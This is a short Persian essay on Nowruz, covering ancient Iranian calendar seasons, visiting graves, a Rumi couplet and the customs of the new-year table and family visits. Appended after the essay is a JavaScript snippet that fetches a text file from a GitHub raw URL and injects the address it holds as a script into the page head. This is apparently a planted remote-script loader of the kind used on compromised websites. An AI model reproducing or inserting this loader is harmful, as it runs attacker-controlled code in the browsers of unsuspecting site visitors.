ایران و اداب و رسوم نوروزی

در ایران باستان ،شروع سال ،به دو فصل تقسیم می شده. یکی تابستان بزرگ ، که از اغاز فروردین تا پایان مهر ماه بود. و دیگر زمستان بزرگ ،که از اغاز ابان تا پایان اسفند طول می کشیده .در شروع هریک از این دو بخش جشنی بر پای میداشتند وهر دو را اغاز سال نو می دانستند .قبل از رواج زرتشت اغاز سال ایرانیان ،در مهر ماه ،و برابر جشن مهرگان بوده .

? نوروز جشن بهی ،جشن تولد زمین ،و زمان و جهان و جهانیان ،اغاز شکوفایی طبیعت .بر این مبنا بیش از همه توصیه موکد می شده که به خاطر یاداوری در گذشتگان ،به وادی خاموشان و مقابر انان سری بزنید .علت ان یاداوری از دست شدگان ،این است که ،در ان محیط ،فکر رفتن از این جهان ،تصور و سنگینی خاصی به تفکر انسانی می بخشد ،که سعی میکند گام ها را سنگین تر بردارد و زندگی را با حساب تر طی کند ،و همین امر در هنگام تبادل طبیعت،بر زندگی او نیز اعتدال می بخشد و در کنار سفره پیشانی سال نو ،می اندیشد که برای هر گام و هر حرکت و حرفی باید برنامه ای داشته باشد .
مولانا جلال الدین فرموده :
این بهار تو ،ز بعد از برگ ریز
هست برهان وجود رستخیز

این جشن فروردین ،جشن زندگی عید پایندگی و شوق کار و تلاش و ستایش قادر بی همتا ست .
از چیست که مردم این سرزمین ،بر این باورند که مبارک ترین ساعات سال در این روز است ؟
این روز طبیعت سرشار از اعتدال است .اعتدال هوا ، تساوی شب و روز ، که فراخوان انسان نیز به اعتدال و میانه روی است .
به راستی این چگونه کهنسالی ست که پیر نمی شود ؟اغاز هر سال ،جوانی و شور و شوق به زمین و زمان می بخشد .

گستردن سفره نوروزی و شادی کردن و تبریک گفتن و روبوسیدن و لبخند زدن و شادمانه از این کاشانه به ان خانه و از این خانه به دیگر کاشانه رفتن ،چه معنا و حکمتی دارد
بی شک این یادگار دیرین و این ایین نوروزی ،همدلی تازه و شوقی نوین ،بین افراد ایجاد خواهد کرد که بتوانند با وفاق و دوستی و همدلی سال نو را شروع کنند .
در فرهنگ دیر پای ایرانی این سنت عزیز گرایشی بود به سوی مدارا و دوست داشتن و رعایت دیگران و همدمی و همراهی و پاکی و درستی .

(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)